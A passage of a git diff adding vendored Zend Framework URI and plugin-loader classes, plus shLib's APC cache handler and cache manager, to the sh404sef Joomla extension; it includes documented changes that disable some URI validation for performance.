($this->_useStaticRegistry) { + self::$_staticLoadedPlugins[$this->_useStaticRegistry][$name] = $className; + } else { + $this->_loadedPlugins[$name] = $className; + } + return $className; + } + + /** + * Set path to class file cache + * + * Specify a path to a file that will add include_once statements for each + * plugin class loaded. This is an opt-in feature for performance purposes. + * + * @param string $file + * @return void + * @throws Zendshl_Loader_PluginLoader_Exception if file is not writeable or path does not exist + */ + public static function setIncludeFileCache($file) + { + if (null === $file) { + self::$_includeFileCache = null; + return; + } + + if (!file_exists($file) && !file_exists(dirname($file))) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/PluginLoader/Exception.php'; + throw new Zendshl_Loader_PluginLoader_Exception('Specified file does not exist and/or directory does not exist (' . $file . ')'); + } + if (file_exists($file) && !is_writable($file)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/PluginLoader/Exception.php'; + throw new Zendshl_Loader_PluginLoader_Exception('Specified file is not writeable (' . $file . ')'); + } + if (!file_exists($file) && file_exists(dirname($file)) && !is_writable(dirname($file))) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader/PluginLoader/Exception.php'; + throw new Zendshl_Loader_PluginLoader_Exception('Specified file is not writeable (' . $file . ')'); + } + + self::$_includeFileCache = $file; + } + + /** + * Retrieve class file cache path + * + * @return string|null + */ + public static function getIncludeFileCache() + { + return self::$_includeFileCache; + } + + /** + * Append an include_once statement to the class file cache + * + * @param string $incFile + * @return void + */ + protected static function _appendIncFile($incFile) + { + if (!file_exists(self::$_includeFileCache)) { + $file = ' diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/index.html b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri.php new file mode 100644 index 00000000..3c09f682 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri.php @@ -0,0 +1,208 @@ + false + ); + + /** + * Return a string representation of this URI. + * + * @see getUri() + * @return string + */ + public function __toString() + { + try { + return $this->getUri(); + } catch (Exception $e) { + trigger_error($e->getMessage(), E_USER_WARNING); + return ''; + } + } + + /** + * Convenience function, checks that a $uri string is well-formed + * by validating it but not returning an object. Returns TRUE if + * $uri is a well-formed URI, or FALSE otherwise. + * + * @param string $uri The URI to check + * @return boolean + */ + public static function check($uri) + { + try { + $uri = self::factory($uri); + } catch (Exception $e) { + return false; + } + + return $uri->valid(); + } + + /** + * Create a new Zendshl_Uri object for a URI. If building a new URI, then $uri should contain + * only the scheme (http, ftp, etc). Otherwise, supply $uri with the complete URI. + * + * @param string $uri The URI form which a Zendshl_Uri instance is created + * @param string $className The name of the class to use in order to manipulate URI + * @throws Zendshl_Uri_Exception When an empty string was supplied for the scheme + * @throws Zendshl_Uri_Exception When an illegal scheme is supplied + * @throws Zendshl_Uri_Exception When the scheme is not supported + * @throws Zendshl_Uri_Exception When $className doesn't exist or doesn't implements Zendshl_Uri + * @return Zendshl_Uri + * @link http://www.faqs.org/rfcs/rfc2396.html + */ + public static function factory($uri = 'http', $className = null) + { + // Separate the scheme from the scheme-specific parts + $uri = explode(':', $uri, 2); + $scheme = strtolower($uri[0]); + $schemeSpecific = isset($uri[1]) === true ? $uri[1] : ''; + + if (strlen($scheme) === 0) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('An empty string was supplied for the scheme'); + } + + // Security check: $scheme is used to load a class file, so only alphanumerics are allowed. + if (ctype_alnum($scheme) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Illegal scheme supplied, only alphanumeric characters are permitted'); + } + + if ($className === null) { + /** + * Create a new Zendshl_Uri object for the $uri. If a subclass of Zendshl_Uri exists for the + * scheme, return an instance of that class. Otherwise, a Zendshl_Uri_Exception is thrown. + */ + switch ($scheme) { + case 'http': + // Break intentionally omitted + case 'https': + $className = 'Zendshl_Uri_Http'; + break; + + case 'mailto': + // TODO + default: + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("Scheme \"$scheme\" is not supported"); + break; + } + } + + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Loader.php'; + try { + Zendshl_Loader::loadClass($className); + } catch (Exception $e) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("\"$className\" not found"); + } + + $schemeHandler = new $className($scheme, $schemeSpecific); + + if (! $schemeHandler instanceof Zendshl_Uri) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("\"$className\" is not an instance of Zendshl_Uri"); + } + + return $schemeHandler; + } + + /** + * Get the URI's scheme + * + * @return string|false Scheme or false if no scheme is set. + */ + public function getScheme() + { + if (empty($this->_scheme) === false) { + return $this->_scheme; + } else { + return false; + } + } + + /** + * Set global configuration options + * + * @param Zendshl_Config|array $config + */ + static public function setConfig($config) + { + if ($config instanceof Zendshl_Config) { + $config = $config->toArray(); + } elseif (!is_array($config)) { + throw new Zendshl_Uri_Exception("Config must be an array or an instance of Zendshl_Config."); + } + + foreach ($config as $k => $v) { + self::$_config[$k] = $v; + } + } + + /** + * Zendshl_Uri and its subclasses cannot be instantiated directly. + * Use Zendshl_Uri::factory() to return a new Zendshl_Uri object. + * + * @param string $scheme The scheme of the URI + * @param string $schemeSpecific The scheme-specific part of the URI + */ + abstract protected function __construct($scheme, $schemeSpecific = ''); + + /** + * Return a string representation of this URI. + * + * @return string + */ + abstract public function getUri(); + + /** + * Returns TRUE if this URI is valid, or FALSE otherwise. + * + * @return boolean + */ + abstract public function valid(); +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/Exception.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/Exception.php new file mode 100644 index 00000000..0e9827cb --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/Exception.php @@ -0,0 +1,38 @@ +_scheme = $scheme; + + // Set up grammar rules for validation via regular expressions. These + // are to be used with slash-delimited regular expression strings. + + // Escaped special characters (eg. '%25' for '%') + $this->_regex['escaped'] = '%[[:xdigit:]]{2}'; + + // Unreserved characters + $this->_regex['unreserved'] = '[' . self::CHAR_ALNUM . self::CHAR_MARK . ']'; + + // Segment can use escaped, unreserved or a set of additional chars + $this->_regex['segment'] = '(?:' . $this->_regex['escaped'] . '|[' . + self::CHAR_ALNUM . self::CHAR_MARK . self::CHAR_SEGMENT . '])*'; + + // Path can be a series of segmets char strings seperated by '/' + $this->_regex['path'] = '(?:\/(?:' . $this->_regex['segment'] . ')?)+'; + + // URI characters can be escaped, alphanumeric, mark or reserved chars + $this->_regex['uric'] = '(?:' . $this->_regex['escaped'] . '|[' . + self::CHAR_ALNUM . self::CHAR_MARK . self::CHAR_RESERVED . + + // If unwise chars are allowed, add them to the URI chars class + (self::$_config['allow_unwise'] ? self::CHAR_UNWISE : '') . '])'; + + // If no scheme-specific part was supplied, the user intends to create + // a new URI with this object. No further parsing is required. + if (strlen($schemeSpecific) === 0) { + return; + } + + // Parse the scheme-specific URI parts into the instance variables. + $this->_parseUri($schemeSpecific); + + // Validate the URI + if ($this->valid() === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Invalid URI supplied'); + } + } + + /** + * Creates a Zendshl_Uri_Http from the given string + * + * @param string $uri String to create URI from, must start with + * 'http://' or 'https://' + * @throws InvalidArgumentException When the given $uri is not a string or + * does not start with http:// or https:// + * @throws Zendshl_Uri_Exception When the given $uri is invalid + * @return Zendshl_Uri_Http + */ + public static function fromString($uri) + { + if (is_string($uri) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('$uri is not a string'); + } + + $uri = explode(':', $uri, 2); + $scheme = strtolower($uri[0]); + $schemeSpecific = isset($uri[1]) === true ? $uri[1] : ''; + + if (in_array($scheme, array('http', 'https')) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("Invalid scheme: '$scheme'"); + } + + $schemeHandler = new Zendshl_Uri_Http($scheme, $schemeSpecific); + return $schemeHandler; + } + + /** + * Parse the scheme-specific portion of the URI and place its parts into instance variables. + * + * @param string $schemeSpecific The scheme-specific portion to parse + * @throws Zendshl_Uri_Exception When scheme-specific decoposition fails + * @throws Zendshl_Uri_Exception When authority decomposition fails + * @return void + */ + protected function _parseUri($schemeSpecific) + { + // High-level decomposition parser + $pattern = '~^((//)([^/?#]*))([^?#]*)(\?([^#]*))?(#(.*))?$~'; + $status = @preg_match($pattern, $schemeSpecific, $matches); + if ($status === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Internal error: scheme-specific decomposition failed'); + } + + // Failed decomposition; no further processing needed + if ($status === false) { + return; + } + + // Save URI components that need no further decomposition + $this->_path = isset($matches[4]) === true ? $matches[4] : ''; + $this->_query = isset($matches[6]) === true ? $matches[6] : ''; + $this->_fragment = isset($matches[8]) === true ? $matches[8] : ''; + + // Additional decomposition to get username, password, host, and port + $combo = isset($matches[3]) === true ? $matches[3] : ''; + $pattern = '~^(([^:@]*)(:([^@]*))?@)?((?(?=[[])[[][^]]+[]]|[^:]+))(:(.*))?$~'; + $status = @preg_match($pattern, $combo, $matches); + if ($status === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Internal error: authority decomposition failed'); + } + + // Save remaining URI components + $this->_username = isset($matches[2]) === true ? $matches[2] : ''; + $this->_password = isset($matches[4]) === true ? $matches[4] : ''; + $this->_host = isset($matches[5]) === true + ? preg_replace('~^\[([^]]+)\]$~', '\1', $matches[5]) // Strip wrapper [] from IPv6 literal + : ''; + $this->_port = isset($matches[7]) === true ? $matches[7] : ''; + } + + /** + * Returns a URI based on current values of the instance variables. If any + * part of the URI does not pass validation, then an exception is thrown. + * + * @throws Zendshl_Uri_Exception When one or more parts of the URI are invalid + * @return string + */ + public function getUri() + { + if ($this->valid() === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('One or more parts of the URI are invalid'); + } + + $password = strlen($this->_password) > 0 ? ":$this->_password" : ''; + $auth = strlen($this->_username) > 0 ? "$this->_username$password@" : ''; + $port = strlen($this->_port) > 0 ? ":$this->_port" : ''; + $query = strlen($this->_query) > 0 ? "?$this->_query" : ''; + $fragment = strlen($this->_fragment) > 0 ? "#$this->_fragment" : ''; + + return $this->_scheme + . '://' + . $auth + . $this->_host + . $port + . $this->_path + . $query + . $fragment; + } + + /** + * Validate the current URI from the instance variables. Returns true if and only if all + * parts pass validation. + * + *@param boolean URI validation is disabled if false. Added as validation just kills server on some long URI - shumisha - 2012-03-05 + * @return boolean + */ + public function valid( $validationEnabled = false) + { + // Return true if and only if all parts of the URI have passed validation + return $this->validateUsername() + and $this->validatePassword() + and $this->validateHost() + and $this->validatePort() + and $this->validatePath() + and $this->validateQuery( null, $validationEnabled) + and $this->validateFragment(); + } + + /** + * Returns the username portion of the URL, or FALSE if none. + * + * @return string + */ + public function getUsername() + { + return strlen($this->_username) > 0 ? $this->_username : false; + } + + /** + * Returns true if and only if the username passes validation. If no username is passed, + * then the username contained in the instance variable is used. + * + * @param string $username The HTTP username + * @throws Zendshl_Uri_Exception When username validation fails + * @return boolean + * @link http://www.faqs.org/rfcs/rfc2396.html + */ + public function validateUsername($username = null) + { + if ($username === null) { + $username = $this->_username; + } + + // If the username is empty, then it is considered valid + if (strlen($username) === 0) { + return true; + } + + // Check the username against the allowed values + $status = @preg_match('/^(?:' . $this->_regex['escaped'] . '|[' . + self::CHAR_ALNUM . self::CHAR_MARK . ';:&=+$,' . '])+$/', $username); + + if ($status === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Internal error: username validation failed'); + } + + return $status === 1; + } + + /** + * Sets the username for the current URI, and returns the old username + * + * @param string $username The HTTP username + * @throws Zendshl_Uri_Exception When $username is not a valid HTTP username + * @return string + */ + public function setUsername($username) + { + if ($this->validateUsername($username) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("Username \"$username\" is not a valid HTTP username"); + } + + $oldUsername = $this->_username; + $this->_username = $username; + + return $oldUsername; + } + + /** + * Returns the password portion of the URL, or FALSE if none. + * + * @return string + */ + public function getPassword() + { + return strlen($this->_password) > 0 ? $this->_password : false; + } + + /** + * Returns true if and only if the password passes validation. If no password is passed, + * then the password contained in the instance variable is used. + * + * @param string $password The HTTP password + * @throws Zendshl_Uri_Exception When password validation fails + * @return boolean + * @link http://www.faqs.org/rfcs/rfc2396.html + */ + public function validatePassword($password = null) + { + if ($password === null) { + $password = $this->_password; + } + + // If the password is empty, then it is considered valid + if (strlen($password) === 0) { + return true; + } + + // If the password is nonempty, but there is no username, then it is considered invalid + if (strlen($password) > 0 and strlen($this->_username) === 0) { + return false; + } + + // Check the password against the allowed values + $status = @preg_match('/^(?:' . $this->_regex['escaped'] . '|[' . + self::CHAR_ALNUM . self::CHAR_MARK . ';:&=+$,' . '])+$/', $password); + + if ($status === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Internal error: password validation failed.'); + } + + return $status == 1; + } + + /** + * Sets the password for the current URI, and returns the old password + * + * @param string $password The HTTP password + * @throws Zendshl_Uri_Exception When $password is not a valid HTTP password + * @return string + */ + public function setPassword($password) + { + if ($this->validatePassword($password) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("Password \"$password\" is not a valid HTTP password."); + } + + $oldPassword = $this->_password; + $this->_password = $password; + + return $oldPassword; + } + + /** + * Returns the domain or host IP portion of the URL, or FALSE if none. + * + * @return string + */ + public function getHost() + { + return strlen($this->_host) > 0 ? $this->_host : false; + } + + /** + * Returns true if and only if the host string passes validation. If no host is passed, + * then the host contained in the instance variable is used. + * + * @param string $host The HTTP host + * @return boolean + * @uses Zendshl_Filter + */ + public function validateHost($host = null) + { + if ($host === null) { + $host = $this->_host; + } + + // If the host is empty, then it is considered invalid + if (strlen($host) === 0) { + return false; + } + + // bypass validation + return true; + + // Check the host against the allowed values; delegated to Zendshl_Filter. + $validate = new Zendshl_Validate_Hostname(Zendshl_Validate_Hostname::ALLOW_ALL); + + return $validate->isValid($host); + } + + /** + * Sets the host for the current URI, and returns the old host + * + * @param string $host The HTTP host + * @throws Zendshl_Uri_Exception When $host is nota valid HTTP host + * @return string + */ + public function setHost($host) + { + if ($this->validateHost($host) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("Host \"$host\" is not a valid HTTP host"); + } + + $oldHost = $this->_host; + $this->_host = $host; + + return $oldHost; + } + + /** + * Returns the TCP port, or FALSE if none. + * + * @return string + */ + public function getPort() + { + return strlen($this->_port) > 0 ? $this->_port : false; + } + + /** + * Returns true if and only if the TCP port string passes validation. If no port is passed, + * then the port contained in the instance variable is used. + * + * @param string $port The HTTP port + * @return boolean + */ + public function validatePort($port = null) + { + if ($port === null) { + $port = $this->_port; + } + + // If the port is empty, then it is considered valid + if (strlen($port) === 0) { + return true; + } + + // Check the port against the allowed values + return ctype_digit((string) $port) and 1 <= $port and $port <= 65535; + } + + /** + * Sets the port for the current URI, and returns the old port + * + * @param string $port The HTTP port + * @throws Zendshl_Uri_Exception When $port is not a valid HTTP port + * @return string + */ + public function setPort($port) + { + if ($this->validatePort($port) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("Port \"$port\" is not a valid HTTP port."); + } + + $oldPort = $this->_port; + $this->_port = $port; + + return $oldPort; + } + + /** + * Returns the path and filename portion of the URL. + * + * @return string + */ + public function getPath() + { + return strlen($this->_path) > 0 ? $this->_path : '/'; + } + + /** + * Returns true if and only if the path string passes validation. If no path is passed, + * then the path contained in the instance variable is used. + * + * @param string $path The HTTP path + * @throws Zendshl_Uri_Exception When path validation fails + * @return boolean + */ + public function validatePath($path = null) + { + if ($path === null) { + $path = $this->_path; + } + + // If the path is empty, then it is considered valid + if (strlen($path) === 0) { + return true; + } + + // Determine whether the path is well-formed + $pattern = '/^' . $this->_regex['path'] . '$/'; + $status = @preg_match($pattern, $path); + if ($status === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Internal error: path validation failed'); + } + + return (boolean) $status; + } + + /** + * Sets the path for the current URI, and returns the old path + * + * @param string $path The HTTP path + * @throws Zendshl_Uri_Exception When $path is not a valid HTTP path + * @return string + */ + public function setPath($path) + { + if ($this->validatePath($path) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("Path \"$path\" is not a valid HTTP path"); + } + + $oldPath = $this->_path; + $this->_path = $path; + + return $oldPath; + } + + /** + * Returns the query portion of the URL (after ?), or FALSE if none. + * + * @return string + */ + public function getQuery() + { + return strlen($this->_query) > 0 ? $this->_query : false; + } + + /** + * Returns the query portion of the URL (after ?) as a + * key-value-array. If the query is empty an empty array + * is returned + * + * @return array + */ + public function getQueryAsArray() + { + $query = $this->getQuery(); + $querryArray = array(); + if ($query !== false) { + parse_str($query, $querryArray); + } + return $querryArray; + } + + /** + * Returns true if and only if the query string passes validation. If no query is passed, + * then the query string contained in the instance variable is used. + * + * @param string $query The query to validate + * @param boolean URI validation is disabled if false. Added as validation just kills server on some long URI - shumisha - 2012-03-05 + * @throws Zendshl_Uri_Exception When query validation fails + * @return boolean + * @link http://www.faqs.org/rfcs/rfc2396.html + */ + public function validateQuery($query = null, $validationEnabled = false) + { + // shumisha 2012-03-05 allow disabling query validation + if(!$validationEnabled) { + return true; + } + + if ($query === null) { + $query = $this->_query; + } + + // If query is empty, it is considered to be valid + if (strlen($query) === 0) { + return true; + } + + // Determine whether the query is well-formed + $pattern = '/^' . $this->_regex['uric'] . '*$/'; + $status = @preg_match($pattern, $query); + if ($status === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Internal error: query validation failed'); + } + + return $status == 1; + } + + /** + * Add or replace params in the query string for the current URI, and + * return the old query. + * + * @param array $queryParams + * @return string Old query string + */ + public function addReplaceQueryParameters(array $queryParams) + { + $queryParams = array_merge($this->getQueryAsArray(), $queryParams); + return $this->setQuery($queryParams); + } + + /** + * Remove params in the query string for the current URI, and + * return the old query. + * + * @param array $queryParamKeys + * @return string Old query string + */ + public function removeQueryParameters(array $queryParamKeys) + { + $queryParams = array_diff_key($this->getQueryAsArray(), array_fill_keys($queryParamKeys, 0)); + return $this->setQuery($queryParams); + } + + /** + * Set the query string for the current URI, and return the old query + * string This method accepts both strings and arrays. + * + * @param string|array $query The query string or array + * @param boolean URI validation is disabled if false. Added as validation just kills server on some long URI - shumisha - 2012-03-05 + * @throws Zendshl_Uri_Exception When $query is not a valid query string + * @return string Old query string + */ + public function setQuery($query, $validationEnabled = false) + { + $oldQuery = $this->_query; + + // If query is empty, set an empty string + if (empty($query) === true) { + $this->_query = ''; + return $oldQuery; + } + + // If query is an array, make a string out of it + if (is_array($query) === true) { + $query = http_build_query($query, '', '&'); + } else { + // If it is a string, make sure it is valid. If not parse and encode it + $query = (string) $query; + if ($this->validateQuery($query, $validationEnabled) === false) { + parse_str($query, $queryArray); + $query = http_build_query($queryArray, '', '&'); + } + } + + // Make sure the query is valid, and set it + if ($this->validateQuery($query, $validationEnabled) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("'$query' is not a valid query string"); + } + + $this->_query = $query; + + return $oldQuery; + } + + /** + * Returns the fragment portion of the URL (after #), or FALSE if none. + * + * @return string|false + */ + public function getFragment() + { + return strlen($this->_fragment) > 0 ? $this->_fragment : false; + } + + /** + * Returns true if and only if the fragment passes validation. If no fragment is passed, + * then the fragment contained in the instance variable is used. + * + * @param string $fragment Fragment of an URI + * @throws Zendshl_Uri_Exception When fragment validation fails + * @return boolean + * @link http://www.faqs.org/rfcs/rfc2396.html + */ + public function validateFragment($fragment = null) + { + if ($fragment === null) { + $fragment = $this->_fragment; + } + + // If fragment is empty, it is considered to be valid + if (strlen($fragment) === 0) { + return true; + } + + // Determine whether the fragment is well-formed + $pattern = '/^' . $this->_regex['uric'] . '*$/'; + $status = @preg_match($pattern, $fragment); + if ($status === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception('Internal error: fragment validation failed'); + } + + return (boolean) $status; + } + + /** + * Sets the fragment for the current URI, and returns the old fragment + * + * @param string $fragment Fragment of the current URI + * @throws Zendshl_Uri_Exception When $fragment is not a valid HTTP fragment + * @return string + */ + public function setFragment($fragment) + { + if ($this->validateFragment($fragment) === false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Uri/Exception.php'; + throw new Zendshl_Uri_Exception("Fragment \"$fragment\" is not a valid HTTP fragment"); + } + + $oldFragment = $this->_fragment; + $this->_fragment = $fragment; + + return $oldFragment; + } +} diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/index.html b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/index.html b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/index.html b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/apc.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/apc.php new file mode 100644 index 00000000..04d7734f --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/apc.php @@ -0,0 +1,84 @@ +_instanceParams = $params; + $this->enabled = extension_loaded('apc'); + if(!$this->enabled) { + ShlSystem_Log::error( 'shLib', __METHOD__ . ': APC extension not loaded, unable to create cache manager using it'); + } + + return true; + + } + + public function doRead( $id) { + + if($this->enabled) { + $read = apc_fetch( $id); + return $read; + } else { + throw new ShlException( __METHOD__ . ': trying to read from a disabled cache'); + } + } + + public function doStore( $id, $value, $ttl) { + + if($this->enabled) { + $stored = apc_store( $id, $value, $ttl); + return $stored; + } else { + throw new ShlException( __METHOD__ . ': trying to write to a disabled cache'); + } + } + + public function doRemove( $id) { + + if($this->enabled) { + $removed = apc_delete( $id); + return $removed; + } else { + throw new ShlException( __METHOD__ . ': trying to delete from a disabled cache'); + } + } + + public function doClear( $group = 'user') { + + if($this->enabled) { + $cleared = apc_clear_cache( $group); + return $cleared; + } else { + throw new ShlException( __METHOD__ . ': trying to clear a disabled cache'); + } + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/index.html b/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/manager.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/manager.php new file mode 100644 index 00000000..09c36029 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/cache/manager.php @@ -0,0 +1,279 @@ +enabled = false; + return true; + } + + /** + * + * Read information stored in cache, as identified by id + * No further deserialization is required by the calling party + * + * @param string $id unique id of the element of information + * @param string $dataset a group the data belongs to, mostly for stats accumulation + * @return boolean|mixed either the value read or false if none found + */ + public static function read( $id, $dataset) { + + self::$_totalRequests[$dataset] = empty(self::$_totalRequests[$dataset]) ? 1 : self::$_totalRequests[$dataset] + 1; + $read = self::_getInstance(self::$_handler)->doRead( self::_computeCacheId( $id, $dataset)); + if($read !== false) { + self::$_cacheHits[$dataset] = empty(self::$_cacheHits[$dataset]) ? 1 : self::$_cacheHits[$dataset] + 1; + } + return $read; + } + + /** + * + * Store some piece of information in cache, + * using handler defined by a call to ShlCache_Manager::setHandler() + * or using default handler if setHandler() has not be called yet + * No serialization is required by the calling party + * + * @param string $id unique id for the information + * @param string $dataset a group the data belongs to, mostly for stats accumulation + * @param mixed $value a php variable holding the data + * @param integer $ttl optional time to live for the data, default to 3600 seconds + * @return boolean, true if success + * @throws ShlException + */ + public static function store( $id, $dataset, $value, $ttl = null) { + + $ttl = is_null($ttl) ? self::$_defaultTTL : (int) $ttl; + if( $ttl < 0) { + throw new ShlException( __METHOD__ . ': trying to set negative TTL on cache handler'); + } + $stored = self::_getInstance(self::$_handler)->doStore( self::_computeCacheId( $id, $dataset), $value, $ttl); + if($stored) { + self::$_cacheStore[$dataset] = empty(self::$_cacheStore[$dataset]) ? 1 : self::$_cacheStore[$dataset] + 1; + } + return $stored; + } + + /** + * + * Remove a piece of information from the cache + * using current handler + * + * @param string $id unique id fo the information to remove from cache + * @param string $dataset a group the data belongs to, mostly for stats accumulation + * @return boolean, true if success + * @throws ShlException + */ + public static function remove( $id, $dataset) { + + $removed = self::_getInstance(self::$_handler)->doRemove( self::_computeCacheId( $id, $dataset)); + if($removed) { + self::$_cacheRemoved[$dataset] = empty(self::$_cacheRemoved[$dataset]) ? 1 : self::$_cacheRemoved[$dataset] + 1; + } + return $removed; + } + + /** + * + * Clear the cache. If handler can process groups, + * it is possible to clear only a group of items + * + * @param string $group optional, name of items group to clear + * @return boolean, true if success + * @throws ShlException + */ + public static function clear( $group = '') { + + return self::_getInstance(self::$_handler)->doClear( $group); + + } + + /** + * Set a unique id, required to distinguish stored + * information that may otherwise have the same id + * (such as same db queries from different web sites + * running on same server) + * This is NOT the same as the id each piece of information + * stored in the cache needs, but rather a global "tag" or "namespace" + * prepended (automatically) by the cache manager to each + * stored data id + * If not set (by an extension using shLib), we will default + * to the Joomla site "secret" word stored in general config. + * + * @param string $id a string id, unique for each site providing data to + * the same cache handler + * @return string previous value of the unique id + */ + public static function setUniqueId( $id) { + + $previous = self::$_uniqueId; + self::$_uniqueId = $id; + + return $previous; + } + + /** + * + * Return a unique id for this web site. If not + * previously set by user (through ::setUniqueId(), + * we use Joomla secret key + */ + public static function getUniqueId() { + + self::$_uniqueId = empty( self::$_uniqueId) ? JFactory::getConfig()->get('secret') : self::$_uniqueId; + + return self::$_uniqueId; + } + + /** + * + * Returns an object holding cache access stats (for the current page load!) + * + * @param string $dataset a group the data belongs to, mostly for stats accumulation + * @return stdClass + */ + public static function getCacheStats( $dataset) { + + $stats = new stdClass(); + $stats->read = empty(self::$_totalRequests[$dataset]) ? 0 : self::$_totalRequests[$dataset]; + $stats->hits = empty(self::$_cacheHits[$dataset]) ? 0 : self::$_cacheHits[$dataset]; + $stats->stored = empty(self::$_cacheStore[$dataset]) ? 0 : self::$_cacheStore[$dataset]; + $stats->removed = empty(self::$_cacheRemoved[$dataset]) ? 0 : self::$_cacheRemoved[$dataset]; + + return $stats; + } + + /** + * + * create a unique instance of a cache manager + * using specified handler + * @param string $handler code for cache handler to use + */ + private static function _getInstance( $handler = '') { + + // create a single manager instance + if(is_null(self::$_manager)) { + // instantiate a manager + $base = new ShlCache_Manager(); + + // get default handler, if none supplied + $handler = empty( $handler) ? self::CACHE_HANDLER_APC : $handler; + + // decorate manager with the proper handler + $className = 'ShlCache_' . ucfirst( $handler); + if(class_exists($className)) { + self::$_manager = new $className( $base); + } else { + throw new ShlException( __METHOD__ . ': trying to instantiate a non-existing cache handler: ' . $className); + } + + // ask handler to check setup is working, ie corresponding extension is loaded in php + self::$_params['timeout'] = isset(self::$_params['timeout']) ? 